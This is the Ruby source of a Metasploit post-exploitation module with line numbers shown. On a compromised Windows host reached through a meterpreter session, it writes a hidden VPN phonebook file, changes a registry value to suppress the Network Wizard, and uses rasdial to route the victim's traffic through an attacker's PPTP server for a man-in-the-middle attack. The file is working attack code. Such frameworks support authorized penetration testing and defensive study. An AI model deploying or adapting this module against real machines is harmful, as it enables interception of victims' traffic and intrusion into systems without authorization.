1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Windows::Priv
9
  include Msf::Post::Windows::Registry
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Windows Manage Remote Point-to-Point Tunneling Protocol',
16
        'Description' => %q{
17
          This module initiates a PPTP connection to a remote machine (VPN server). Once
18
          the tunnel is created we can use it to force the victim traffic to go through the
19
          server getting a man in the middle attack. Be sure to allow forwarding and
20
          masquerading on the VPN server (mitm).
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
24
        'References' => [
25
          [ 'URL', 'https://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ]
26
        ],
27
        'Platform' => 'win',
28
        'SessionTypes' => [ 'meterpreter' ],
29
        'Notes' => {
30
          'Stability' => [CRASH_SAFE],
31
          'SideEffects' => [CONFIG_CHANGES],
32
          'Reliability' => []
33
        }
34
      )
35
    )
36

37
    register_options(
38
      [
39
        OptString.new('USERNAME', [true, 'VPN Username.' ]),
40
        OptString.new('PASSWORD', [true, 'VPN Password.' ]),
41
        OptBool.new('MITM', [true, 'Man in the middle.', true]),
42
        OptInt.new('TIMEOUT', [true, 'Timeout for the tunnel creation.', 60]),
43
        OptString.new('PBK_NAME', [true, 'PhoneBook entry name.', 'MSF']),
44
        OptAddress.new('VPNHOST', [true, 'VPN server.'])
45
      ]
46
    )
47
  end
48

49
  def run
50
    version = get_version_info
51
    disable_network_wizard if version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win7_SP1)
52

53
    pbk = create_pbk(datastore['MITM'], datastore['PBK_NAME'])
54
    to = (datastore['TIMEOUT'] <= 0) ? 60 : datastore['TIMEOUT']
55
    begin
56
      ::Timeout.timeout(to) do
57
        run_rasdial(pbk, datastore['USERNAME'], datastore['PASSWORD'], datastore['VPNHOST'], datastore['PBK_NAME'])
58
      end
59
    rescue ::Timeout::Error
60
      print_error("Timeout after #{to} seconds")
61
    end
62
    file_rm(pbk)
63
    print_status('Phonebook deleted')
64
  end
65

66
  def disable_network_wizard
67
    if !is_admin?
68
      print_error("You don't have enough privileges to change the registry. Network Wizard will not be disabled")
69
      return
70
    end
71

72
    key = 'HKLM\\System\\CurrentControlSet\\Control\\Network'
73
    value = 'NewNetworkWindowOff'
74
    begin
75
      if !registry_getvaldata(key, value)
76
        registry_setvaldata(key, value, 3, 'REG_BINARY')
77
        print_good('Network Wizard disabled')
78
      end
79
    rescue StandardError => e
80
      print_status("The following error was encountered: #{e.class} #{e}")
81
    end
82
  end
83

84
  def create_pbk(mim, pbk_name)
85
    pbk_dir = expand_path('%TEMP%')
86
    pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha(6..13) << '.pbk'
87

88
    conf_conn = "[#{pbk_name}]\r\n\r\n"
89
    conf_conn += "MEDIA=rastapi\r\n"
90
    conf_conn += "Port=VPN4-0\r\n"
91
    conf_conn += "DEVICE=vpn\r\n"
92
    conf_conn += "IpPrioritizeRemote=0\r\n" unless mim
93

94
    if write_file(pbk_file, conf_conn)
95
      print_good("PhoneBook configuration written to #{pbk_file}")
96
      return pbk_file
97
    end
98
  end
99

100
  def run_rasdial(pbk, user, pass, vpn_host, pbk_name)
101
    print_status('Establishing connection ...')
102
    cmd_exec('rasdial', '/disconnect')
103
    output_run = cmd_exec('rasdial', "#{pbk_name} #{user} #{pass} /PHONE:#{vpn_host} /PHONEBOOK:#{pbk}")
104
    output_view = cmd_exec('rasdial', nil)
105

106
    if output_view =~ /#{pbk_name}/i
107
      print_good('Connection Successful')
108
    else
109
      print_error("Connection failure: #{output_run}")
110
    end
111
  end
112
end
113

114